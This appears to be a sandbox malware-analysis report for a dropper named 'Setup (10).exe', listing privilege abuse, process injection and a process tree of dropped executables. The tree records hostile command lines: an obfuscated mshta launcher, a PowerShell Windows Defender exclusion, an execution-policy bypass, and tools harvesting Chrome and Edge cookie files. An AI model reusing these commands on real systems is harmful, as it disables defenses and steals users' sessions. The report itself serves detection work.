SeDebugPrivilege 2884 Aji7CNkgBMp8eKDMVRatNDnG.exe Token: SeDebugPrivilege 2720 UgrQUka2EU4b323SkBEyTfb2.exe Token: SeDebugPrivilege 5420 Esplorarne.exe.com Token: SeDebugPrivilege 5816 WerFault.exe Token: SeDebugPrivilege 5824 WerFault.exe Token: SeDebugPrivilege 4184 qrh_NoLKUDe4UPCsqKqb3BYG.exe Token: SeDebugPrivilege 4224 2_d3FVwWmTzG4WE4WQappLcP.exe Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeCreateTokenPrivilege 5220 askinstall53.exe Token: SeAssignPrimaryTokenPrivilege 5220 askinstall53.exe Token: SeLockMemoryPrivilege 5220 askinstall53.exe Token: SeIncreaseQuotaPrivilege 5220 askinstall53.exe Token: SeMachineAccountPrivilege 5220 askinstall53.exe Token: SeTcbPrivilege 5220 askinstall53.exe Token: SeSecurityPrivilege 5220 askinstall53.exe Token: SeTakeOwnershipPrivilege 5220 askinstall53.exe Token: SeLoadDriverPrivilege 5220 askinstall53.exe Token: SeSystemProfilePrivilege 5220 askinstall53.exe Token: SeSystemtimePrivilege 5220 askinstall53.exe Token: SeProfSingleProcessPrivilege 5220 askinstall53.exe Token: SeIncBasePriorityPrivilege 5220 askinstall53.exe Token: SeCreatePagefilePrivilege 5220 askinstall53.exe Token: SeCreatePermanentPrivilege 5220 askinstall53.exe Token: SeBackupPrivilege 5220 askinstall53.exe Token: SeRestorePrivilege 5220 askinstall53.exe Token: SeShutdownPrivilege 5220 askinstall53.exe Token: SeDebugPrivilege 5220 askinstall53.exe Token: SeAuditPrivilege 5220 askinstall53.exe Token: SeSystemEnvironmentPrivilege 5220 askinstall53.exe Token: SeChangeNotifyPrivilege 5220 askinstall53.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
do5eA7Qvq1tWRQV9RQuaNCUs.tmpCleaner Installation.exeInlog.tmpEsplorarne.exe.compid process 960 do5eA7Qvq1tWRQV9RQuaNCUs.tmp 6008 Cleaner Installation.exe 2460 2460 5280 Inlog.tmp 5844 Esplorarne.exe.com -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup (10).exedescription pid process target process PID 4072 wrote to memory of 3352 4072 Setup (10).exe XdjL6yzZHShtyEPNfpV549it.exe PID 4072 wrote to memory of 3352 4072 Setup (10).exe XdjL6yzZHShtyEPNfpV549it.exe PID 4072 wrote to memory of 3352 4072 Setup (10).exe XdjL6yzZHShtyEPNfpV549it.exe PID 4072 wrote to memory of 1268 4072 Setup (10).exe R4rti5DXgX_wYdR7n2_3oes8.exe PID 4072 wrote to memory of 1268 4072 Setup (10).exe R4rti5DXgX_wYdR7n2_3oes8.exe PID 4072 wrote to memory of 1268 4072 Setup (10).exe R4rti5DXgX_wYdR7n2_3oes8.exe PID 4072 wrote to memory of 680 4072 Setup (10).exe DZftA2E8Bh_1MqEcJ6qHxpWB.exe PID 4072 wrote to memory of 680 4072 Setup (10).exe DZftA2E8Bh_1MqEcJ6qHxpWB.exe PID 4072 wrote to memory of 680 4072 Setup (10).exe DZftA2E8Bh_1MqEcJ6qHxpWB.exe PID 4072 wrote to memory of 376 4072 Setup (10).exe dyTbPPBY7gNKpe9rTNEJspF0.exe PID 4072 wrote to memory of 376 4072 Setup (10).exe dyTbPPBY7gNKpe9rTNEJspF0.exe PID 4072 wrote to memory of 376 4072 Setup (10).exe dyTbPPBY7gNKpe9rTNEJspF0.exe PID 4072 wrote to memory of 1076 4072 Setup (10).exe VPN.exe PID 4072 wrote to memory of 1076 4072 Setup (10).exe VPN.exe PID 4072 wrote to memory of 1076 4072 Setup (10).exe VPN.exe PID 4072 wrote to memory of 668 4072 Setup (10).exe 0nnIFdWES_5dFLY2guuShEdd.exe PID 4072 wrote to memory of 668 4072 Setup (10).exe 0nnIFdWES_5dFLY2guuShEdd.exe PID 4072 wrote to memory of 668 4072 Setup (10).exe 0nnIFdWES_5dFLY2guuShEdd.exe PID 4072 wrote to memory of 2724 4072 Setup (10).exe jfiag3g_gg.exe PID 4072 wrote to memory of 2724 4072 Setup (10).exe jfiag3g_gg.exe PID 4072 wrote to memory of 2724 4072 Setup (10).exe jfiag3g_gg.exe PID 4072 wrote to memory of 2720 4072 Setup (10).exe UgrQUka2EU4b323SkBEyTfb2.exe PID 4072 wrote to memory of 2720 4072 Setup (10).exe UgrQUka2EU4b323SkBEyTfb2.exe PID 4072 wrote to memory of 2720 4072 Setup (10).exe UgrQUka2EU4b323SkBEyTfb2.exe PID 4072 wrote to memory of 3900 4072 Setup (10).exe tci8fJVPClxut85W6CsUQWF2.exe PID 4072 wrote to memory of 3900 4072 Setup (10).exe tci8fJVPClxut85W6CsUQWF2.exe PID 4072 wrote to memory of 3900 4072 Setup (10).exe tci8fJVPClxut85W6CsUQWF2.exe PID 4072 wrote to memory of 3004 4072 Setup (10).exe 7N18Swi2c4EvxEuALZTDAD6D.exe PID 4072 wrote to memory of 3004 4072 Setup (10).exe 7N18Swi2c4EvxEuALZTDAD6D.exe PID 4072 wrote to memory of 3004 4072 Setup (10).exe 7N18Swi2c4EvxEuALZTDAD6D.exe PID 4072 wrote to memory of 2884 4072 Setup (10).exe Aji7CNkgBMp8eKDMVRatNDnG.exe PID 4072 wrote to memory of 2884 4072 Setup (10).exe Aji7CNkgBMp8eKDMVRatNDnG.exe PID 4072 wrote to memory of 2884 4072 Setup (10).exe Aji7CNkgBMp8eKDMVRatNDnG.exe PID 4072 wrote to memory of 1780 4072 Setup (10).exe bZJ2QAVlh1rZ1DO0J756VEbI.exe PID 4072 wrote to memory of 1780 4072 Setup (10).exe bZJ2QAVlh1rZ1DO0J756VEbI.exe PID 4072 wrote to memory of 3132 4072 Setup (10).exe uduZnq_SfO6OCYw2jLY9dfaB.exe PID 4072 wrote to memory of 3132 4072 Setup (10).exe uduZnq_SfO6OCYw2jLY9dfaB.exe PID 4072 wrote to memory of 3132 4072 Setup (10).exe uduZnq_SfO6OCYw2jLY9dfaB.exe PID 4072 wrote to memory of 3212 4072 Setup (10).exe qrh_NoLKUDe4UPCsqKqb3BYG.exe PID 4072 wrote to memory of 3212 4072 Setup (10).exe qrh_NoLKUDe4UPCsqKqb3BYG.exe PID 4072 wrote to memory of 3212 4072 Setup (10).exe qrh_NoLKUDe4UPCsqKqb3BYG.exe PID 4072 wrote to memory of 2228 4072 Setup (10).exe 0Hkpl0Iw7Mn20xJs3Ps82T2i.exe PID 4072 wrote to memory of 2228 4072 Setup (10).exe 0Hkpl0Iw7Mn20xJs3Ps82T2i.exe PID 4072 wrote to memory of 2228 4072 Setup (10).exe 0Hkpl0Iw7Mn20xJs3Ps82T2i.exe PID 4072 wrote to memory of 2208 4072 Setup (10).exe jKeoSw_ndab2HneXAIEIBNcn.exe PID 4072 wrote to memory of 2208 4072 Setup (10).exe jKeoSw_ndab2HneXAIEIBNcn.exe PID 4072 wrote to memory of 760 4072 Setup (10).exe 0jCOj6N7sfaW_dPWl2hcM81w.exe PID 4072 wrote to memory of 760 4072 Setup (10).exe 0jCOj6N7sfaW_dPWl2hcM81w.exe PID 4072 wrote to memory of 760 4072 Setup (10).exe 0jCOj6N7sfaW_dPWl2hcM81w.exe PID 4072 wrote to memory of 636 4072 Setup (10).exe e1lVfvsuxo3avcfTpgbXETkY.exe PID 4072 wrote to memory of 636 4072 Setup (10).exe e1lVfvsuxo3avcfTpgbXETkY.exe PID 4072 wrote to memory of 636 4072 Setup (10).exe e1lVfvsuxo3avcfTpgbXETkY.exe PID 4072 wrote to memory of 716 4072 Setup (10).exe HM9LwZr_tYU8wO1kKbMpGJHO.exe PID 4072 wrote to memory of 716 4072 Setup (10).exe HM9LwZr_tYU8wO1kKbMpGJHO.exe PID 4072 wrote to memory of 716 4072 Setup (10).exe HM9LwZr_tYU8wO1kKbMpGJHO.exe PID 4072 wrote to memory of 3624 4072 Setup (10).exe XCFziucQ2udCv8TEaxmX6FzW.exe PID 4072 wrote to memory of 3624 4072 Setup (10).exe XCFziucQ2udCv8TEaxmX6FzW.exe PID 4072 wrote to memory of 3624 4072 Setup (10).exe XCFziucQ2udCv8TEaxmX6FzW.exe PID 4072 wrote to memory of 3472 4072 Setup (10).exe B_YbxasUtl1jnMcVoRySTtje.exe PID 4072 wrote to memory of 3472 4072 Setup (10).exe B_YbxasUtl1jnMcVoRySTtje.exe PID 4072 wrote to memory of 3472 4072 Setup (10).exe B_YbxasUtl1jnMcVoRySTtje.exe PID 4072 wrote to memory of 3844 4072 Setup (10).exe 0nnIFdWES_5dFLY2guuShEdd.exe PID 4072 wrote to memory of 3844 4072 Setup (10).exe 0nnIFdWES_5dFLY2guuShEdd.exe PID 4072 wrote to memory of 3844 4072 Setup (10).exe 0nnIFdWES_5dFLY2guuShEdd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (10).exe"C:\Users\Admin\AppData\Local\Temp\Setup (10).exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Users\Admin\Documents\K75RN9c0vQCTFwqoqg7CbHNi.exe"C:\Users\Admin\Documents\K75RN9c0vQCTFwqoqg7CbHNi.exe"2⤵PID:3844
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2784 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 6763⤵
- Program crash
PID:5484 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 6363⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5816 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 6763⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5324 -
C:\Users\Admin\Documents\XCFziucQ2udCv8TEaxmX6FzW.exe"C:\Users\Admin\Documents\XCFziucQ2udCv8TEaxmX6FzW.exe"2⤵
- Executes dropped EXE
PID:3624 -
C:\Users\Admin\Documents\XCFziucQ2udCv8TEaxmX6FzW.exe"C:\Users\Admin\Documents\XCFziucQ2udCv8TEaxmX6FzW.exe"3⤵PID:9932
-
C:\Users\Admin\Documents\B_YbxasUtl1jnMcVoRySTtje.exe"C:\Users\Admin\Documents\B_YbxasUtl1jnMcVoRySTtje.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3472 -
C:\Users\Admin\Documents\HM9LwZr_tYU8wO1kKbMpGJHO.exe"C:\Users\Admin\Documents\HM9LwZr_tYU8wO1kKbMpGJHO.exe"2⤵
- Executes dropped EXE
PID:716 -
C:\Users\Admin\Documents\e1lVfvsuxo3avcfTpgbXETkY.exe"C:\Users\Admin\Documents\e1lVfvsuxo3avcfTpgbXETkY.exe"2⤵
- Executes dropped EXE
PID:636 -
C:\Users\Admin\Documents\e1lVfvsuxo3avcfTpgbXETkY.exe"C:\Users\Admin\Documents\e1lVfvsuxo3avcfTpgbXETkY.exe" -q3⤵
- Executes dropped EXE
PID:3412 -
C:\Users\Admin\Documents\0jCOj6N7sfaW_dPWl2hcM81w.exe"C:\Users\Admin\Documents\0jCOj6N7sfaW_dPWl2hcM81w.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:760 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 760 -s 12123⤵
- Program crash
PID:3736 -
C:\Users\Admin\Documents\jKeoSw_ndab2HneXAIEIBNcn.exe"C:\Users\Admin\Documents\jKeoSw_ndab2HneXAIEIBNcn.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2208 -
C:\Users\Admin\AppData\Roaming\2997013.exe"C:\Users\Admin\AppData\Roaming\2997013.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5480 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
PID:4300 -
C:\Users\Admin\AppData\Roaming\3136792.exe"C:\Users\Admin\AppData\Roaming\3136792.exe"3⤵
- Executes dropped EXE
PID:5564 -
C:\Users\Admin\AppData\Roaming\2133803.exe"C:\Users\Admin\AppData\Roaming\2133803.exe"3⤵
- Executes dropped EXE
PID:5632 -
C:\Users\Admin\AppData\Roaming\1487741.exe"C:\Users\Admin\AppData\Roaming\1487741.exe"3⤵PID:5420
-
C:\Users\Admin\Documents\0Hkpl0Iw7Mn20xJs3Ps82T2i.exe"C:\Users\Admin\Documents\0Hkpl0Iw7Mn20xJs3Ps82T2i.exe"2⤵
- Executes dropped EXE
PID:2228 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 4843⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2672 -
C:\Users\Admin\Documents\qrh_NoLKUDe4UPCsqKqb3BYG.exe"C:\Users\Admin\Documents\qrh_NoLKUDe4UPCsqKqb3BYG.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3212 -
C:\Users\Admin\Documents\qrh_NoLKUDe4UPCsqKqb3BYG.exeC:\Users\Admin\Documents\qrh_NoLKUDe4UPCsqKqb3BYG.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4184 -
C:\Users\Admin\Documents\tci8fJVPClxut85W6CsUQWF2.exe"C:\Users\Admin\Documents\tci8fJVPClxut85W6CsUQWF2.exe"2⤵
- Executes dropped EXE
PID:3900 -
C:\Users\Admin\Documents\uduZnq_SfO6OCYw2jLY9dfaB.exe"C:\Users\Admin\Documents\uduZnq_SfO6OCYw2jLY9dfaB.exe"2⤵
- Executes dropped EXE
PID:3132 -
C:\Users\Admin\Documents\7N18Swi2c4EvxEuALZTDAD6D.exe"C:\Users\Admin\Documents\7N18Swi2c4EvxEuALZTDAD6D.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3004 -
C:\Users\Admin\Documents\Aji7CNkgBMp8eKDMVRatNDnG.exe"C:\Users\Admin\Documents\Aji7CNkgBMp8eKDMVRatNDnG.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2884 -
C:\Users\Admin\Documents\bZJ2QAVlh1rZ1DO0J756VEbI.exe"C:\Users\Admin\Documents\bZJ2QAVlh1rZ1DO0J756VEbI.exe"2⤵
- Executes dropped EXE
PID:1780 -
C:\Users\Admin\Documents\UgrQUka2EU4b323SkBEyTfb2.exe"C:\Users\Admin\Documents\UgrQUka2EU4b323SkBEyTfb2.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2720 -
C:\Users\Admin\Documents\ZZMf4UDPsMD1hQtivqjnvHEI.exe"C:\Users\Admin\Documents\ZZMf4UDPsMD1hQtivqjnvHEI.exe"2⤵PID:2724
-
C:\Users\Admin\Documents\ZZMf4UDPsMD1hQtivqjnvHEI.exe"C:\Users\Admin\Documents\ZZMf4UDPsMD1hQtivqjnvHEI.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3360 -
C:\Users\Admin\Documents\0nnIFdWES_5dFLY2guuShEdd.exe"C:\Users\Admin\Documents\0nnIFdWES_5dFLY2guuShEdd.exe"2⤵
- Executes dropped EXE
PID:668 -
C:\Users\Admin\Documents\0nnIFdWES_5dFLY2guuShEdd.exe"C:\Users\Admin\Documents\0nnIFdWES_5dFLY2guuShEdd.exe"3⤵
- Executes dropped EXE
PID:3844 -
C:\Users\Admin\Documents\2_d3FVwWmTzG4WE4WQappLcP.exe"C:\Users\Admin\Documents\2_d3FVwWmTzG4WE4WQappLcP.exe"2⤵PID:1076
-
C:\Users\Admin\Documents\2_d3FVwWmTzG4WE4WQappLcP.exeC:\Users\Admin\Documents\2_d3FVwWmTzG4WE4WQappLcP.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4224 -
C:\Users\Admin\Documents\dyTbPPBY7gNKpe9rTNEJspF0.exe"C:\Users\Admin\Documents\dyTbPPBY7gNKpe9rTNEJspF0.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:376 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 376 -s 16683⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4628 -
C:\Users\Admin\Documents\DZftA2E8Bh_1MqEcJ6qHxpWB.exe"C:\Users\Admin\Documents\DZftA2E8Bh_1MqEcJ6qHxpWB.exe"2⤵
- Executes dropped EXE
PID:680 -
C:\Users\Admin\Documents\DZftA2E8Bh_1MqEcJ6qHxpWB.exe"C:\Users\Admin\Documents\DZftA2E8Bh_1MqEcJ6qHxpWB.exe"3⤵PID:5072
-
C:\Users\Admin\Documents\DZftA2E8Bh_1MqEcJ6qHxpWB.exe"C:\Users\Admin\Documents\DZftA2E8Bh_1MqEcJ6qHxpWB.exe"3⤵
- Executes dropped EXE
PID:3892 -
C:\Users\Admin\Documents\R4rti5DXgX_wYdR7n2_3oes8.exe"C:\Users\Admin\Documents\R4rti5DXgX_wYdR7n2_3oes8.exe"2⤵
- Executes dropped EXE
PID:1268 -
C:\Users\Admin\Documents\XdjL6yzZHShtyEPNfpV549it.exe"C:\Users\Admin\Documents\XdjL6yzZHShtyEPNfpV549it.exe"2⤵
- Executes dropped EXE
PID:3352 -
C:\Users\Admin\Documents\HJc5BfJtlFAjO54tbi9VzWoP.exe"C:\Users\Admin\Documents\HJc5BfJtlFAjO54tbi9VzWoP.exe"2⤵
- Executes dropped EXE
PID:1660 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpT: ClOsE (CrEaTeobjeCt ( "WsCRIPt.SHELl"). RUN( "cmD.EXe /C coPy /y ""C:\Users\Admin\Documents\HJc5BfJtlFAjO54tbi9VzWoP.exe"" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo &IF """" == """" for %j iN (""C:\Users\Admin\Documents\HJc5BfJtlFAjO54tbi9VzWoP.exe"" ) do taskkill -im ""%~NXj"" -f " , 0, tRue ) )3⤵PID:2056
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C coPy /y "C:\Users\Admin\Documents\HJc5BfJtlFAjO54tbi9VzWoP.exe" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo&IF "" == "" for %j iN ("C:\Users\Admin\Documents\HJc5BfJtlFAjO54tbi9VzWoP.exe" ) do taskkill -im "%~NXj" -f4⤵PID:4920
-
C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.ExeZ2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo5⤵
- Executes dropped EXE
PID:6056 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpT: ClOsE (CrEaTeobjeCt ( "WsCRIPt.SHELl"). RUN( "cmD.EXe /C coPy /y ""C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe"" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo &IF ""-PMrvgB7ejl2YIjc3PC8aTZbo"" == """" for %j iN (""C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe"" ) do taskkill -im ""%~NXj"" -f " , 0, tRue ) )6⤵PID:5552
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C coPy /y "C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe" Z2bT94N_CMSE.Exe && START Z2Bt94N_cMSE.eXE -PMrvgB7ejl2YIjc3PC8aTZbo&IF "-PMrvgB7ejl2YIjc3PC8aTZbo" == "" for %j iN ("C:\Users\Admin\AppData\Local\Temp\Z2bT94N_CMSE.Exe" ) do taskkill -im "%~NXj" -f7⤵PID:6224
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\HwWYSzK.F2,zgr6⤵PID:7036
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "HJc5BfJtlFAjO54tbi9VzWoP.exe" -f5⤵
- Kills process with taskkill
PID:6324 -
C:\Users\Admin\Documents\gOhhDpC9KT1H4z4fWVmZn5No.exe"C:\Users\Admin\Documents\gOhhDpC9KT1H4z4fWVmZn5No.exe"2⤵
- Executes dropped EXE
PID:4344 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 6683⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4692 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 6483⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5824 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 6763⤵
- Program crash
PID:5432 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 10763⤵
- Program crash
PID:4196 -
C:\Users\Admin\Documents\kdvgZx5bN991EprAadyoDqJD.exe"C:\Users\Admin\Documents\kdvgZx5bN991EprAadyoDqJD.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4228 -
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
PID:4356 -
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
PID:4360 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6620
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2724 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:10440
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
PID:4236 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6244
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"4⤵PID:6388
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:4920
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵PID:4044
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
PID:5868 -
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵PID:5584
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:6944
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵PID:6988
-
C:\Users\Admin\Documents\Loq3AVs9wso1zADq8dM2HHOF.exe"C:\Users\Admin\Documents\Loq3AVs9wso1zADq8dM2HHOF.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4172 -
C:\Users\Admin\Documents\qAWTJouZZxti9JGGCUIyR3Ba.exe"C:\Users\Admin\Documents\qAWTJouZZxti9JGGCUIyR3Ba.exe"2⤵
- Executes dropped EXE
PID:608 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\QAWTJO~1.DLL,s C:\Users\Admin\DOCUME~1\QAWTJO~1.EXE3⤵PID:6084
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\QAWTJO~1.DLL,WE8Jc1Ftag==4⤵PID:8852
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\QAWTJO~1.DLL5⤵PID:7176
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\QAWTJO~1.DLL,WRJGU1prU1Fn5⤵PID:7420
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 318046⤵PID:6936
-
C:\Windows\system32\ctfmon.exectfmon.exe7⤵PID:9208
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp9211.tmp.ps1"5⤵PID:7916
-
C:\Users\Admin\Documents\do5eA7Qvq1tWRQV9RQuaNCUs.exe"C:\Users\Admin\Documents\do5eA7Qvq1tWRQV9RQuaNCUs.exe"2⤵
- Executes dropped EXE
PID:5028 -
C:\Users\Admin\AppData\Local\Temp\is-BKTH8.tmp\do5eA7Qvq1tWRQV9RQuaNCUs.tmp"C:\Users\Admin\AppData\Local\Temp\is-BKTH8.tmp\do5eA7Qvq1tWRQV9RQuaNCUs.tmp" /SL5="$1029C,138429,56832,C:\Users\Admin\Documents\do5eA7Qvq1tWRQV9RQuaNCUs.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:960 -
C:\Users\Admin\AppData\Local\Temp\is-QREDU.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-QREDU.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5440 -
C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent5⤵
- Executes dropped EXE
PID:5832 -
C:\Users\Admin\AppData\Local\Temp\is-5LBT3.tmp\Stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-5LBT3.tmp\Stats.tmp" /SL5="$10334,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4148 -
